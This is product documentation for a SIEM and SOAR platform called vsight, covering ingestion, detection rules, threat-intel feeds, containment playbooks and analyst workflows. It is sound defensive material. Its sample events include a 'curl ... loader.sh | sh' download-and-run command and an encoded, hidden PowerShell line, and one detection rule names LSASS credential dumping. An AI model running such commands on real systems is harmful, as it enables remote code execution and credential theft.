vsight
Autonomous SIEM, Stateful CEP, 3-Model Online ML, Threat Graph & Durable SOAR

vsight — Autonomous SIEM, Security CEP, Unsupervised Online ML & Closed-Loop SOAR Platform

vsight — Autonomous SIEM, Security CEP, Unsupervised Online ML & Closed-Loop SOAR Platform

Overview

vsight is a self-contained, multi-tenant Autonomous Security Information and Event Management (SIEM), Stateful Complex Event Processing (CEP) Correlation Engine, 3-Hop Blast-Radius Telemetry Graph, 3-Model Unsupervised Online Machine Learning Anomaly Detector, Two-Tier Threat Intelligence Hub, and Closed-Loop Security Orchestration, Automation, and Response (SOAR) platform.

Distributed as a single native executable for Windows, Linux, and macOS with zero external database or message-broker dependencies, vsight ingests multi-format security telemetry (RFC 5424 Syslog, ArcSight CEF, OCSF v1.1.0, Windows Sysmon JSONL, and structured HTTP microbatches), correlates multi-stage MITRE ATT&CK kill-chains in sub-millisecond single-pass transactions, and orchestrates reversible containment across identity (vwarden), edge/WAF (vgate), host firewall, AWS, and Kubernetes planes.

SIEM & SOAR TOPOLOGY

vsight End-to-End Autonomous SIEM, Stateful CEP, Online ML, Threat Graph & SOAR Architecture

Click any component node to inspect how telemetry flows from wire ingestion through CEP + ML scoring to closed-loop SOAR.

Interactive SVG • Click any node (6 components)
1. MULTI-FORMAT INGEST BOUNDARY Syslog RFC 5424 / CEF / LEEF / HTTP JSON 2. REAL-TIME DETECTION & GRAPH CORE Hot IOC + CEP + RPN VM + 3-Model ML 3. DURABLE SOAR & MVCC STORAGE 16-Shard CoW MVCC + CRC32 WAL Normalized Events 64-ev / 10ms Batch Streaming Features Correlated Alerts Risk Multipliers Atomic MVCC Commit Ingest Edge Wire Normalizer & HTTP Edge Syslog TCP/UDP + OpenAPI Batch Buffer Engine Bounded Microbatch Ring Backpressure + Tenant Co-Location Detection Core Hot IOC & Stateful CEP VM 14-Stage MITRE + RPN Bytecode v2 Anomaly Engine 3-Model Unsupervised ML Welford Z + Shannon + Peer-Group Graph Pivot Lock-Free 3-Hop Graph CoW Adjacency + Timecoded BFS SOAR & Storage Durable SOAR & MVCC Store Awakeable Sagas + CRC32 WAL
Components:
Ingest Edge
Wire Normalizer & HTTP Edge
Multi-Format Wire Normalizer HTTP Smuggling Guard
Component 1 of 6
Architectural Role & Purpose

Parses RFC 5424/3164 Syslog, ArcSight CEF, IBM LEEF, SSHD, and JSON telemetry at ~70,000 lines/sec.

Contextual Description & System Interaction

Acts as the zero-allocation perimeter collector feeding normalized events into the bounded microbatch ring.

Core Functionality & Security Mechanics
  • Rejects CL+TE and dual Content-Length HTTP smuggling payloads at the socket boundary
  • Normalizes heterogeneous vendor wire lines into typed canonical security events
  • Computes SHA-256 raw-tee integrity digests without storing cleartext credentials by default
Buffer Engine
Bounded Microbatch Ring
Lock-Disciplined Ring Buffer Tenant Hash Partitioner
Component 2 of 6
Architectural Role & Purpose

Absorbs traffic bursts in a fixed-capacity ring buffer and flushes deterministic microbatches every 10 ms or 64 events.

Contextual Description & System Interaction

Bridges asynchronous network sockets to single-pass transactional batch evaluation.

Core Functionality & Security Mechanics
  • Enforces explicit 429 backpressure drops when ring occupancy reaches capacity
  • Co-locates tenant state keys onto deterministic shard prefixes via "{tenant_id}"
  • Guarantees predictable memory ceiling without unbounded heap queue growth
Detection Core
Hot IOC & Stateful CEP VM
Two-Tier IOC Matcher Stateful CEP RPN Bytecode VM
Component 3 of 6
Architectural Role & Purpose

Evaluates O(1) Hot Threat-Intel IOCs, canary honey-tokens, built-in MITRE kill-chains, and custom RPN rules.

Contextual Description & System Interaction

Combines deterministic signature, threat-intelligence, deception, and behavioral sequence detection in a single pass.

Core Functionality & Security Mechanics
  • Matches IP, domain, SHA-256, and canary indicators in sub-microsecond hash lookups
  • Tracks sliding-window brute-force, credential stuffing, and multi-stage MITRE progressions
  • Executes compiled RPN Bytecode v2 predicates with bounded stack depth and zero eval
Anomaly Engine
3-Model Unsupervised ML
Streaming Welford Z-Score First-Seen Entropy Peer Z-Score
Component 4 of 6
Architectural Role & Purpose

Updates per-entity streaming statistical baselines in O(1) space and scores zero-day behavioral deviations.

Contextual Description & System Interaction

Produces explainable composite entity risk scores without external GPU clusters or offline batch training.

Core Functionality & Security Mechanics
  • Computes Welford incremental mean/variance Z-scores on transfer volume and event cadence
  • Evaluates command-line Shannon entropy and rare parent->child process lineage transitions
  • Measures peer-group lateral fan-out against cohort medians and CMDB asset criticality
Graph Pivot
Lock-Free 3-Hop Graph
Copy-on-Write Entity Graph Swimlane Kill-Chain BFS
Component 5 of 6
Architectural Role & Purpose

Maintains directed entity relationships across IPs, users, hosts, and processes for sub-100 us 3-hop pivots.

Contextual Description & System Interaction

Connects isolated alerts into end-to-end intrusion narratives for SOC analysts and automated incident dossiers.

Core Functionality & Security Mechanics
  • Executes lock-free 3-hop breadth-first traversal on immutable Copy-on-Write snapshots
  • Preserves chronological edge sequence numbers for swimlane attack-path reconstruction
  • Supports O(1) historical time-travel inspection at any prior WAL offset
SOAR & Storage
Durable SOAR & MVCC Store
Durable Saga Runtime SSRF/HMAC Guard 16-Shard MVCC
Component 6 of 6
Architectural Role & Purpose

Persists alerts, graph edges, ML baselines, and human-in-the-loop SOAR sagas in a 16-shard MVCC engine.

Contextual Description & System Interaction

Closes the detection-to-containment loop across vwarden IAM revocation and vgate edge IP quarantine.

Core Functionality & Security Mechanics
  • Executes temporary containment and suspends durable awakeables for SOC approval
  • Performs deterministic LIFO compensation rollback when analysts mark false positives
  • Encrypts webhook secrets and durable saga contexts with AES-256-GCM at rest

Core Capabilities

Audience Capability Operational Value
SOC Tier-1 / Tier-2 Analysts Kill-Chain Alert Grouping & 3-Hop Blast-Radius Graph Collapses noisy individual detections into per-entity MITRE ATT&CK kill-chain timelines, interactive 3-hop SVG blast-radius subgraphs, and cross-host lateral pivot campaign chains (patient_zero -> bridges -> lead).
Threat Hunters Two-Tier STIX 2.1 Intel, Deception & O(1) Time-Travel Evaluates Hot IOCs inline during ingestion in O(1), scans Cold IOCs asynchronously across retained WAL history, triggers high-confidence alerts on deception honeytokens, and compares pre-compromise vs. live blast radius in nanoseconds.
Detection Engineers RPN Bytecode VM, Sigma Import & Sandbox Backtesting Compiles declarative predicates, stack-based RPN bytecode expressions (expr_bytecode_v2), and stateful HyperLogLog sliding-window scripts (batch_script_v2) with canary shadow scoring and zero-side-effect historical WAL backtesting.
Incident Responders Durable Closed-Loop SOAR & LIFO Saga Rollback Executes immediate soft containment (vwarden session revocation + vgate WAF quarantine), suspends on human-in-the-loop analyst triage (awakeable), and automatically executes LIFO compensating rollback on false positives.
Platform Administrators Zero-Bloat Storage, Multi-Tenant RBAC & HA Sync Enforces 4-tier tenant-scoped RBAC, SHA-256 hashed scoped API keys, digest_only raw-tee memory protection, SSRF-hardened webhook connectors, and authenticated WAL delta replication.

Live SOC Studio Preview

Zero-Trust SOC Operator Authentication Gate (/login)

vsight Zero-Trust SOC Operator Authentication Gate

Correlated Kill-Chain Alert Triage & Real-Time KPI Console (/studio)

vsight Unified SOC Studio — Correlated Alerts & Entity Context

Interactive 3-Hop Blast-Radius Telemetry Graph (/studio#tab=graph)

vsight 3-Hop Blast-Radius Telemetry Graph & Node Contextual Inspector


End-User Documentation Suite

  1. Overview & Readme — Platform capabilities, workspace preview, and quickstart commands.
  2. How-To Guide — Step-by-step recipes for Syslog/HTTP ingestion, stateful CEP rules, STIX/IOC threat feeds, and SOAR containment playbooks.
  3. SOC Analyst User Guide — Console operations covering alert triage, 3-part CMDB risk scoring, online ML anomaly explanations, and incident timeline investigation.
  4. Administrator Guide — Multi-tenant retention and raw-tee digest policies, SSRF-safe webhook allowlists, WAL/snapshot durability, microbatch tuning, and RBAC/API keys.
  5. Operations & Use Cases — Deterministic 6-stage SOC and SOAR walkthrough from credential stuffing and MFA fatigue through lateral movement and exfiltration containment.
  6. Configuration & CLI Reference — Complete CLI subcommand reference, environment bootstrap schema, telemetry wire formats, and OpenAPI 3.1 endpoint catalog.
  7. Performance & Capacity Guide — Empirical vsight bench throughput, P50/P99 CEP + ML latency distributions, microbatch flush determinism, and memory sizing.
  8. Consolidated User Handbook — Single-page master compendium combining all End-User, How-To, Analyst, Administrator, Operations, Reference, and Performance guides.

Quickstart

Run vsight directly using the native binary for your platform (vsight.exe on Windows or ./vsight on Linux and macOS):

BASH
# Verify semantic version and active storage schema version
./vsight version

# Execute the deterministic 6-stage SOC & SOAR CLI walkthrough
./vsight walkthrough

# Run the release-readiness throughput & P99 latency benchmark gate
./vsight bench

# Launch SOC Studio & OpenAPI 3.1 server on loopback with seeded intrusion telemetry
./vsight serve 8090 ./vsight_data --dev-demo

# Launch hardened production server with RFC 5424 TCP/UDP Syslog listeners
export VSIGHT_ADMIN_PASSWORD="ChangeMe_StrongOperatorSecret_2026!"
export VSIGHT_MASTER_KEY_HEX="0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef"
export VSIGHT_OIDC_HMAC_SECRET="vwarden-shared-federation-signing-secret-2026"
./vsight serve 8090 ./data --host 127.0.0.1 --syslog-tcp 127.0.0.1:5514 --syslog-udp 127.0.0.1:5514

Once started, open http://127.0.0.1:8090/login in your browser to authenticate into the SOC Studio, or query http://127.0.0.1:8090/api/v1/openapi.json for the live OpenAPI 3.1.0 specification.

vsight — How-To Guide

vsight — Operational Recipes

This guide provides step-by-step, copy-pasteable operational recipes for ingesting multi-format telemetry, authoring custom stateful CEP detection rules, loading STIX 2.1 and Two-Tier IOC feeds, and configuring SSRF-hardened SOAR containment playbooks.


1. Authenticate & Obtain a Session or Scoped Collector API Key

Mutating REST API calls require either an authenticated operator session cookie paired with the X-VSight-CSRF: 1 header, or a scoped Bearer vsk_... API key.

1.1 Sign In via Operator Credentials (POST /api/v1/auth/login)

BASH
curl -i -c cookies.txt -X POST http://127.0.0.1:8090/api/v1/auth/login \
  -H "Content-Type: application/json" \
  -H "X-VSight-CSRF: 1" \
  -d '{
    "username": "admin",
    "password": "ChangeMe_StrongOperatorSecret_2026!",
    "auth_mode": "local"
  }'

1.2 Mint a Tenant-Pinned Collector API Key (POST /api/v1/admin/api-keys)

BASH
curl -s -b cookies.txt -X POST http://127.0.0.1:8090/api/v1/admin/api-keys \
  -H "Content-Type: application/json" \
  -H "X-VSight-CSRF: 1" \
  -d '{
    "label": "prod-edge-vgate-forwarder",
    "role": "COLLECTOR_INGEST",
    "tenant_id": "corp-prod",
    "rate_limit_per_min": 12000
  }'

2. Ingest RFC 5424 Syslog, CEF & HTTP JSON Microbatches

vsight normalizes heterogeneous wire streams into canonical OCSF-aligned TelemetryEvent records and commits them in bounded microbatches (<= 512 events per batch).

2.1 Stream RFC 5424 Syslog & ArcSight CEF (POST /api/v1/telemetry/ingest-raw)

BASH
curl -s -X POST http://127.0.0.1:8090/api/v1/telemetry/ingest-raw \
  -H "Authorization: Bearer vsk_live_collector_token_example" \
  -H "Content-Type: application/json" \
  -d '{
    "tenant_id": "corp-prod",
    "format_hint": "auto",
    "raw_tee_mode": "digest_only",
    "raw_stream": "<134>1 2026-11-14T02:14:00Z edge-waf-01 vgate 4120 - - host=host:web-01 user=user:bob src=203.0.113.88 dst=host:db-01 dpt=5432 proto=tcp outcome=success msg=\"SQL admin tunnel\"\nCEF:0|Prevail|VGate|1.2|WAF-942100|SQL Injection Attempt|9|src=203.0.113.88 dhost=host:web-01 suser=user:bob cs1=powershell.exe -enc SQBFAFgA out=65536"
  }'

2.2 Enable Native TCP/UDP RFC 5424 Syslog Listeners (POST /api/v1/admin/listeners)

You can start listeners at boot with --syslog-tcp 127.0.0.1:5514 --syslog-udp 127.0.0.1:5514, or dynamically via the Admin API:

BASH
curl -s -b cookies.txt -X POST http://127.0.0.1:8090/api/v1/admin/listeners \
  -H "Content-Type: application/json" \
  -H "X-VSight-CSRF: 1" \
  -d '{
    "action": "start",
    "tcp_addr": "127.0.0.1:5514",
    "udp_addr": "127.0.0.1:5514",
    "raw_tee_mode": "digest_only"
  }'

2.3 Submit High-Throughput Structured HTTP JSON Microbatches (POST /api/v1/telemetry/batch)

BASH
curl -s -X POST http://127.0.0.1:8090/api/v1/telemetry/batch \
  -H "Authorization: Bearer vsk_live_collector_token_example" \
  -H "Content-Type: application/json" \
  -d '{
    "batch_id": "batch_edge_20261114_001",
    "events": [
      {
        "event_id": "ev_auth_01",
        "tenant_id": "corp-prod",
        "source_system": "vward",
        "event_kind": "auth",
        "host_id": "host:web-01",
        "user_id": "user:bob",
        "src_ip": "203.0.113.88",
        "command_line": "OIDC PKCE login failure: invalid TOTP",
        "outcome": "failure"
      },
      {
        "event_id": "ev_exec_02",
        "tenant_id": "corp-prod",
        "source_system": "endpoint",
        "event_kind": "process_exec",
        "host_id": "host:web-01",
        "host_role": "web-server",
        "user_id": "user:bob",
        "src_ip": "203.0.113.88",
        "parent_proc": "nginx",
        "process_name": "sh",
        "command_line": "sh -c \"curl https://198.51.100.99/loader.sh | sh\"",
        "bytes_out": 16384
      }
    ]
  }'

3. Author & Promote Stateful CEP Correlation Rules

vsight supports three custom detection engines in addition to its built-in 14-stage MITRE kill-chain rules:

  • predicate_v1 — Fast field/operator pattern matching (contains_any, contains_all, equals, starts_with) plus optional minimum Shannon entropy.
  • expr_bytecode_v2 — Compiled Reverse Polish Notation (RPN) stack bytecode VM with a strict 256-instruction execution budget.
  • batch_script_v2 — Stateful sliding-window correlation combining RPN bytecode filtering with per-entity ring-buffer counts and HyperLogLog unique destination fan-out.

vsight MITRE ATT&CK Matrix, Kill-Chains & Custom Bytecode Rules

3.1 Dry-Run & Disassemble a Bytecode Rule (POST /api/v1/rules/test-eval)

Always test expressions against a sample event before deploying to production:

BASH
curl -s -b cookies.txt -X POST http://127.0.0.1:8090/api/v1/rules/test-eval \
  -H "Content-Type: application/json" \
  -H "X-VSight-CSRF: 1" \
  -d '{
    "expr_source": "(process_name in [\"powershell.exe\", \"pwsh\"]) and (command_line contains \"-enc\" or bytes_out >= 10485760)",
    "sample_event": {
      "host_id": "host:web-01",
      "process_name": "powershell.exe",
      "parent_proc": "nginx",
      "command_line": "powershell.exe -nop -w hidden -enc SQBFAFgA",
      "bytes_out": 20971520
    }
  }'

3.2 Register a Stateful Sliding-Window + HyperLogLog Rule (POST /api/v1/rules/custom)

Deploy new rules in canary_shadow mode first so vsight increments shadow_hits without paging on-call responders, then promote to active_enforce:

BASH
curl -s -b cookies.txt -X POST http://127.0.0.1:8090/api/v1/rules/custom \
  -H "Content-Type: application/json" \
  -H "X-VSight-CSRF: 1" \
  -d '{
    "rule_id": "CUST-SMB-SPRAY-HLL-01",
    "rule_name": "Stateful Lateral SMB Spray Across 3+ Distinct Peers in 60s",
    "tenant_scope": "corp-prod",
    "engine_kind": "batch_script_v2",
    "mode": "canary_shadow",
    "expr_source": "(protocol == \"smb\" or dst_port == 445) and event_kind == \"vnet_l7\"",
    "window_span_sec": 60,
    "window_group_field": "dst_host",
    "window_min_count": 4,
    "window_min_unique": 3,
    "severity": 9.1,
    "tactic_id": "TA0008",
    "tactic_name": "Lateral Movement",
    "technique_id": "T1021",
    "sub_technique_id": "T1021.002",
    "technique_name": "SMB/Windows Admin Shares"
  }'

# Promote from canary_shadow to active_enforce after verifying zero false positives
curl -s -b cookies.txt -X POST http://127.0.0.1:8090/api/v1/rules/promote \
  -H "Content-Type: application/json" \
  -H "X-VSight-CSRF: 1" \
  -d '{
    "rule_id": "CUST-SMB-SPRAY-HLL-01",
    "target_mode": "active_enforce"
  }'

3.3 Import Community Sigma YAML Rules (POST /api/v1/rules/import-sigma)

BASH
curl -s -b cookies.txt -X POST http://127.0.0.1:8090/api/v1/rules/import-sigma \
  -H "Content-Type: application/json" \
  -H "X-VSight-CSRF: 1" \
  -d '{
    "tenant_scope": "corp-prod",
    "mode": "active_enforce",
    "sigma_yaml": "title: Suspicious LSASS Credential Dump\nid: sigma-lsass-001\nlevel: critical\ntags:\n  - attack.credential_access\n  - attack.t1003.001\ndetection:\n  selection:\n    CommandLine|contains:\n      - sekurlsa\n      - lsass\n  condition: selection"
  }'

4. Load STIX 2.1 Bundles & Two-Tier Threat-Intel IOCs

vsight separates indicators into two operational tiers:

  • hot_active — Evaluated inline in O(1) on every incoming event (ip, domain, sha256, user, process).
  • cold_hunt — Stored off the hot path to keep memory deterministic and used for retrospective WAL threat hunts (POST /api/v1/hunt/query), with optional automatic promotion to hot_active upon sighting.

4.1 Upsert High-Confidence Hot Indicators (POST /api/v1/intel/iocs)

BASH
curl -s -b cookies.txt -X POST http://127.0.0.1:8090/api/v1/intel/iocs \
  -H "Content-Type: application/json" \
  -H "X-VSight-CSRF: 1" \
  -d '{
    "ioc_type": "ip",
    "ioc_value": "185.220.101.42",
    "tier": "hot_active",
    "confidence": 95,
    "severity": 9.5,
    "source_feed": "STIX2.1:CERT-ThreatFeed",
    "campaign_name": "UNC-ShadowSpider",
    "tactic_id": "TA0011",
    "tactic_name": "Command and Control",
    "technique_id": "T1071",
    "sub_technique_id": "T1071.001",
    "technique_name": "Web Protocols"
  }'

4.2 Import an OASIS STIX 2.1 Bundle (POST /api/v1/intel/stix-bundle)

BASH
curl -s -b cookies.txt -X POST http://127.0.0.1:8090/api/v1/intel/stix-bundle \
  -H "Content-Type: application/json" \
  -H "X-VSight-CSRF: 1" \
  -d '{
    "default_tier": "hot_active",
    "source_feed": "ISAC-Financial-STIX21",
    "bundle_json": "{\"type\":\"bundle\",\"id\":\"bundle--8e2e2d2b-17d4-4cbf-938f-98ee46b3cd3f\",\"objects\":[{\"type\":\"indicator\",\"id\":\"indicator--01\",\"name\":\"C2 Exit Relay\",\"pattern\":\"[ipv4-addr:value = '\''198.51.100.99'\'']\",\"confidence\":92}]}"
  }'

4.3 Subscribe to Live TAXII 2.1 & STIX 2.1 Feeds (POST /api/v1/intel/taxii-feeds)

vsight includes an SSRF-guarded TAXII 2.1 collection poller supporting public (none) and authenticated (bearer, basic, api_key) feeds. Secrets are stored in MVCC state and redacted (***) in all API responses.

Feed / Source Protocol Auth Mode Endpoint / Discovery URL
dPhish TAXII 2.1 (Phishing IOCs) TAXII 2.1 none https://tip.dphish.live/taxii2/root/collections/68f57461-5c20-451d-ab32-6357d1fbef0b/objects/?limit=100
DugganUSA STIX 2.1 (ATT&CK-mapped) STIX 2.1 JSON none Public hourly STIX 2.1 bundle URLs
LevelBlue OTX (Open Threat Exchange) TAXII 2.1 basic https://otx.alienvault.com/taxii/ (OTX API key as auth_username)
CISA AIS (Automated Indicator Sharing) TAXII 2.1 bearer / mTLS Provisioned upon CISA AIS registration & IP allowlisting
MITRE ATT&CK Enterprise STIX 2.1 JSON none https://raw.githubusercontent.com/mitre-attack/attack-stix-data/master/enterprise-attack/enterprise-attack.json
OpenCTI / MISP / OASIS Medallion TAXII 2.1 bearer / api_key Self-hosted aggregator for Abuse.ch (URLhaus, ThreatFox) & CISA KEV (?limit=100)

Register & Poll a Public TAXII 2.1 Feed (dPhish)

BASH
curl -s -b cookies.txt -X POST http://127.0.0.1:8090/api/v1/intel/taxii-feeds \
  -H "Content-Type: application/json" \
  -H "X-VSight-CSRF: 1" \
  -d '{
    "feed_id": "dphish-public",
    "collection_url": "https://tip.dphish.live/taxii2/root/collections/68f57461-5c20-451d-ab32-6357d1fbef0b/objects/?limit=100",
    "source_feed": "TAXII2.1:dPhish",
    "auth_type": "none",
    "poll_interval_sec": 300,
    "min_hot_confidence": 85,
    "enabled": true
  }'

# Trigger immediate poll
curl -s -b cookies.txt -X POST http://127.0.0.1:8090/api/v1/intel/taxii-feeds/poll \
  -H "Content-Type: application/json" \
  -H "X-VSight-CSRF: 1" \
  -d '{"feed_id":"dphish-public"}'

Register an Authenticated TAXII 2.1 Feed (basic, bearer, or api_key)

BASH
# Example: LevelBlue OTX (HTTP Basic Auth with OTX API key as username)
curl -s -b cookies.txt -X POST http://127.0.0.1:8090/api/v1/intel/taxii-feeds \
  -H "Content-Type: application/json" \
  -H "X-VSight-CSRF: 1" \
  -d '{
    "feed_id": "otx-taxii",
    "collection_url": "https://otx.alienvault.com/taxii/collections/1/objects/?limit=100",
    "source_feed": "TAXII2.1:LevelBlue-OTX",
    "auth_type": "basic",
    "auth_username": "<YOUR_OTX_API_KEY>",
    "auth_secret": "x",
    "poll_interval_sec": 600,
    "enabled": true
  }'

# Example: OpenCTI / Private TIP (Bearer Token)
curl -s -b cookies.txt -X POST http://127.0.0.1:8090/api/v1/intel/taxii-feeds \
  -H "Content-Type: application/json" \
  -H "X-VSight-CSRF: 1" \
  -d '{
    "feed_id": "opencti-prod",
    "collection_url": "https://opencti.example.org/taxii2/root/collections/all/objects/?limit=100",
    "source_feed": "TAXII2.1:OpenCTI",
    "auth_type": "bearer",
    "auth_secret": "<YOUR_BEARER_TOKEN>",
    "enabled": true
  }'

5. Configure SOAR Webhook & Containment Playbooks

vsight Closed-Loop SOAR Playbooks, Case SLAs & Sealed Dossiers

5.1 Register an SSRF-Validated External SOAR Connector (POST /api/v1/soar/connectors)

BASH
curl -s -b cookies.txt -X POST http://127.0.0.1:8090/api/v1/soar/connectors \
  -H "Content-Type: application/json" \
  -H "X-VSight-CSRF: 1" \
  -d '{
    "connector_id": "corp.edr.quarantine",
    "ecosystem": "edr",
    "display_name": "Enterprise EDR Host Isolation Webhook",
    "endpoint_url": "https://soar-gw.security.example.com/v1/isolate",
    "apply_template": "{\"action\":\"isolate_host\",\"host\":\"{{entity_id}}\",\"incident\":\"{{incident_id}}\"}",
    "rollback_template": "{\"action\":\"unisolate_host\",\"host\":\"{{entity_id}}\",\"incident\":\"{{incident_id}}\"}",
    "enabled": true
  }'

5.2 Simulate Playbook Dry-Run & Execute Multi-Vendor Containment

BASH
# 1. Dry-run playbook to inspect exact rendered commands and HMAC signatures without side effects
curl -s -b cookies.txt -X POST http://127.0.0.1:8090/api/v1/soar/dry-run \
  -H "Content-Type: application/json" \
  -H "X-VSight-CSRF: 1" \
  -d '{
    "incident_id": "inc-2026-web01",
    "tenant_id": "corp-prod",
    "entity_id": "host:web-01",
    "user_id": "user:bob",
    "src_ip": "203.0.113.88",
    "mitre_tech_id": "T1003.001",
    "action_mode": "apply"
  }'

# 2. Execute programmable containment across vwarden, vgate, host netfilter, and Kubernetes
curl -s -b cookies.txt -X POST http://127.0.0.1:8090/api/v1/soar/execute-playbook \
  -H "Content-Type: application/json" \
  -H "X-VSight-CSRF: 1" \
  -d '{
    "incident_id": "inc-2026-web01",
    "tenant_id": "corp-prod",
    "entity_id": "host:web-01",
    "connector_ids": ["prevail.vward.iam", "prevail.vgate.edge", "generic.firewall.netfilter", "cloud.k8s.netpol"],
    "action_mode": "apply"
  }'

vsight — SOC Analyst User Guide

vsight — SOC Analyst Console Guide

This guide walks Security Operations Center (SOC) Tier-1 Triage Analysts, Tier-2 Incident Responders, and Threat Hunters through daily investigation workflows inside the vsight Web Studio.


1. Role-Aware Workspaces & Navigation

After authenticating at /login via local operator credentials or a signed vwarden OIDC 1.0 / PKCE assertion, vsight routes operators to one of four role-aware workspace shells:

Route Workspace Mode Minimum Role Primary Responsibility
/ui/portal SOC Viewer Portal SOC_READ_VIEWER Read-only inspection of correlated alerts, 3-hop attack graphs, MITRE coverage, CMDB risk, and SOAR dry-run plans; mutating controls are hidden and rejected server-side (403 Forbidden).
/ui/delegated Tier-2 Responder Console TIER2_RESPONDER Incident triage, SOAR containment & LIFO rollback, CMDB asset enrollment, Two-Tier IOC management, WAL threat hunts, and deception honeytokens within assigned tenant scopes.
/ui/admin SOC Lead Admin Console SOC_LEAD_ADMIN Cross-tenant collective threat intelligence, custom bytecode CEP rule promotion, per-tenant rule threshold profiles, Syslog listeners, scoped API keys, and WAL compaction.
/studio Unified SOC Studio Authenticated Role Unified 8-tab SOC command console adapting active controls dynamically to the operator's role and tenant boundary.

2. Alert Triage Queue & Kill-Chain Grouping (Tab 1: Alerts & Stream)

Traditional SIEM consoles overwhelm analysts with thousands of disconnected low-level events. vsight groups correlated detections by Entity Kill-Chain by default (Group By: Entity / Kill-Chain), surfacing the highest-risk compromised hosts and identities at the top of the queue.

vsight SOC Studio — Alert Triage Queue & KPI Strip

2.1 Reading the Real-Time Telemetry KPI Strip

  • Telemetry Events: Total normalized events committed to the sharded MVCC state store.
  • Correlated Alerts: High-confidence multi-signal alerts emitted across CEP, Hot IOC, Deception, and Online ML engines.
  • Peak Kill-Chain Score: Highest composite risk score across active (tenant_id, entity_id) kill-chain state machines.
  • Active Enforcements: Live soft or permanent SOAR containment policies active on vwarden and vgate.
  • WAL Offset: Monotonic CRC32-verified transaction log offset enabling O(1) forensic time-travel.

2.2 Triaging Grouped Alerts & Focused Entity Context

  1. Filter & Sort: Narrow the triage queue by severity (CRITICAL, HIGH & CRITICAL), MITRE ATT&CK tactic (TA0001 Initial Access through TA0010 Exfiltration), entity identifier, or free-text search across usernames, source IPs, and command lines.
  2. Focused Entity Context Bar: Clicking any entity pill sets the global Focused Entity Context (host:web-01 by default) and exposes one-click pivot actions:
    • 3-Hop Graph — Traverses the bounded blast-radius subgraph centered on the entity.
    • 3-Part CMDB Risk — Computes real-time inherent, active threat, and blast-exposure risk scores.
    • What-If Harden — Simulates applying compensating controls or CVE patches.
    • SOAR Contain — Initiates a durable IncidentContainmentWorkflow for immediate quarantine.
    • Time-Travel Diff — Compares the entity's pre-compromise snapshot against live state.
    • Reset Risk — Clears residual active threat score after confirmed remediation or false-positive triage.
  3. Cursor Alert Stream & Collective Sightings: Switch the sub-navigation bar to Live Alert & Campaign Stream (GET /api/v1/alerts/stream) to poll O(1) ring-buffer watermarks (since_seq, head_seq, lag_dropped), or Multi-Tenant Collective Threat Intel (GET /api/v1/intel/collective) to spot shared attacker IPs hitting multiple tenants (+25% score boost across 2 tenants; +50% across 3+ tenants).

3. Incident Investigation Timeline & 3-Hop Blast-Radius Graph (Tab 2: Attack Graph)

Select Attack Graph (Shortcut: 2) to inspect how an intrusion propagated across source IPs, user principals, spawned processes, and internal peer hosts.

vsight 3-Hop Blast-Radius Telemetry Graph & Chronological Timeline

3.1 Graph Layouts & Chronological Hop Numbering

  • Swimlane Kill-Chain Layout: Organizes nodes left-to-right by architectural tier (External Sources -> Principals -> Compromised Hosts -> Spawned Processes -> Lateral Target Peers).
  • Chronological Timeline Layout: Sequences every interaction edge #1 .. #N with relative millisecond deltas (+0.0s, +5.0s, +8.3s) from initial access.
  • Radial Blast Rings: Places the root entity at the origin with concentric 1-hop, 2-hop, and 3-hop blast rings.

3.2 Node Contextual Inspector & Multi-Host Pivot Chains

Clicking any node in the SVG canvas populates the lower Entity Inspector split-view:

  1. Correlated Security Findings: Every MITRE tactic, technique link, trigger signal, and WAL commit offset tied to the selected node.
  2. Inbound & Outbound Hop Sequence: Exact ports, protocols (https, postgres, smb), event counts, and timestamps touching that node.
  3. Lateral Pivot Campaign Chains: Below the graph, vsight automatically stitches cross-host lateral movement (patient_zero -> bridge_entities -> lead_entity) within a 30-minute window with +0.40x pivot score amplification.

4. Entity 3-Part CMDB Risk Scoring (Tab 4: Assets & Intel)

vsight evaluates dynamic risk per (tenant_id, entity_id) using a deterministic three-component model rather than static severity labels:

  1. Inherent Asset Risk (0..35): Derived from CMDB criticality_tier (crown_jewel = 2.0x multiplier, tier1_prod = 1.5x, standard = 1.0x), trust_zone (dmz_edge, corp_internal, restricted_vault), regulated data_classifications (PCI-DSS, PII, CHD), and unmitigated known_cves.
  2. Time-Decayed Active Threat Score (0..50): Applies exponential half-life decay (decay_half_life_sec, default 3600s) to the entity's live MITRE kill-chain composite score so stale alerts naturally cool down while active multi-stage intrusions peak immediately.
  3. 1-Hop Neighbor Blast Exposure (0..15): Measures proximity to compromised peer hosts or identities in the live telemetry graph, surfacing crown-jewel databases (host:db-01, host:vault-01) before lateral movement reaches them.

Analysts can run What-If Mitigation Simulations (POST /api/v1/cmdb/what-if) to preview the exact risk reduction achieved by network micro-segmentation, EDR deployment, or CVE patching, ranked by Return on Security Investment (ROI).


5. Unsupervised Online ML Anomaly Explanations (Tab 7: ML Baselines)

Select ML Baselines (Shortcut: 7) to inspect the per-entity streaming statistical baselines that detect zero-day behavior without offline training jobs or labeled datasets.

vsight 3-Model Streaming Unsupervised Online ML Baselines

Interpreting the Three Online ML Models

Model Tracked Feature Space How Analysts Interpret Detections
1. Welford / EWMA + Page's CUSUM Per-entity outbound bytes_out mean, variance, exponentially weighted moving average, and cumulative sum drift. High Z-Score (>= 4.5) flags sudden large data exfiltration spikes (e.g., 50 MB+ archive transfer); rising CUSUM Drift (>= 10.0) catches slow, low-and-slow trickle exfiltration designed to stay beneath static byte thresholds.
2. First-Order Markov Process Lineage Conditional transition probabilities P(child_process | host_role, parent_process) learned during baseline operation. Flags rare or unseen process spawn edges (P < 0.01 after maturity warmup), such as nginx -> sh or sh -> powershell.exe on a web-server role where nginx -> nginx-worker is normal (P > 0.95).
3. 4D Streaming Half-Space Trees (HST) Normalized 4-tuple [cmd_entropy, log1p(bytes_out), dst_port_class, off_hours_flag] across an ensemble of randomized binary space-partitioning trees. Produces an Isolation Anomaly Score in [0.0, 1.0]. Scores >= 0.85 indicate rare multi-dimensional outliers combining high-entropy obfuscated command lines (Base64 -enc), unusual egress ports, and large payload transfers.

6. O(1) Forensic Time-Travel & Sandbox Rule Backtesting (Tab 6: Forensics & Tuning)

  • O(1) Blast-Radius Time-Travel: Enter a historical WAL offset (such as pre_compromise_offset) and click Compare Snapshots (GET /api/v1/forensics/timetravel) to highlight newly compromised nodes and lateral edges introduced since the clean checkpoint.
  • Zero-Side-Effect Rule Backtesting: Replay historical WAL frames inside an isolated ephemeral engine (POST /api/v1/forensics/backtest) to compare alert volume under candidate thresholds (auth_fail_threshold, lateral_fanout_threshold, entropy_threshold, exfil_z_threshold) before applying changes to live tenants.

